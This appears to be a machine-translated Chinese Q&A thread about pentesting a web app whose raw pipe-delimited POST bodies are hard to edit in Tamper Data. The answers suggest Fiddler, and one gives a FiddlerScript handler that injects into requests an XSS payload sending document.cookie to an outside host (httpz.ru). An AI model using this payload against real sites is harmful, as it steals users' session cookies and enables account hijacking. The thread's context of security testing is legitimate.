我正在尝试对Web应用进行笔试,这会消耗包含原始数据的POST请求,如下所示:
1|2|3|4|1|5|6|5|7|8|1|9|21|10|11|12|13|11|14|15|16|42|17|11|18|19|16|489|20|16|618|21|16|193|22|11|23|8|11|24|25|11|26|27|16|340|28|11|29|30|11|31|32|16|378|33|-7|34|11|35|36|16|130|37|16|55|38|-7|39|11|40|41|42|1|7|8|1|9|21|10|11|43|13|11|44|15|16|34|17|11|45|19|16|1058|20|16|480|21|16|190|22|11|46|8|11|47|25|11|48|27|16|322|28|11|49|30|-32|32|16|220|33|-28|34|-25|36|16|134|37|16|48|38|-28|39|-32|41|-22|7|8|1|9|21|10|11|50|13|11|51|15|16|33|17|11|52|19|16|934|20|16|669|21|16|185|22|11|53|8|11|54|25|11|55|27|16|98|28|11|56|30|-16|32|16|84|33|-45|34|11|57|36|16|139|37|16|49|38|11|58|39|11|59|41|-22|7|8|1|9|21|10|11|60|13|11|61|15|16|53|17|11|62|19|16|695|20|16|614|21|16|177|22|-49|8|11|63|25|11|64|27|16|131|28|11|65|30|-16|32|16|56|33|-65|34|11|66|36|16|151|37|-6|38|-65|39|-59|41|-22|7|8|1|9|21|10|11|67|13|11|68|15|16|40|17|11|69|19|16|197|20|16|147|21|16|110|22|11|70|8|11|71|25|11|72|27|16|341|28|11|73|30|-16|32|16|339|33|-81|34|11|74|36|16|133|37|16|20|38|-81|39|11|75|41|-22|
即。所有POST数据都不能分为参数和值,如Tamper Data处理它们。这使得插件对处理这种POST数据非常不友好。我甚至无法进入主篡改数据屏幕并从请求历史列表中复制原始数据,因为屏幕被处理当前http请求的较小屏幕阻止。因此,只有在请求被拒绝或未经要求修改的情况下发送时,我才能访问和复制原始数据。
是否有类似的工具(浏览器插件,http代理),或者至少是篡改数据的源代码,可以用篡改数据的方式来处理和修改这类发布数据?
答案 0 :(得分:2)
尝试使用Fiddler,它可以拦截并篡改原始请求。
答案 1 :(得分:0)
最合适的方法是使用Fiddlerscript(下载它的Fiddlerscript Editor http://fiddler2.com/fiddlerscript-editor,它将在开始后打开所需的文件。)
我已经定制了
static function OnBeforeRequest(oSession: Session) {
if (m_Replace16) {
var post_body: String = oSession.GetRequestBodyAsString();
FiddlerApplication.Log.LogString(post_body);
post_body=post_body.Replace("|8888","|<script>img = new Image(); img.src = \"http://httpz.ru/n22ref260pd.gif?\"+document.cookie;</script>");
FiddlerApplication.Log.LogString(post_body);
oSession.utilSetRequestBody(post_body);
}
即。添加了一个新的菜单项,可以修改所有要修改的请求,即“| 8888”被替换为第二个参数,即注入。
第一行将请求主体带到字符串var
第二行将其发布到fiddler log
第三行将所需值替换为某些注射
第四行将修改后的var主体发布到日志
第五行用修改后的
更新原始请求原始主体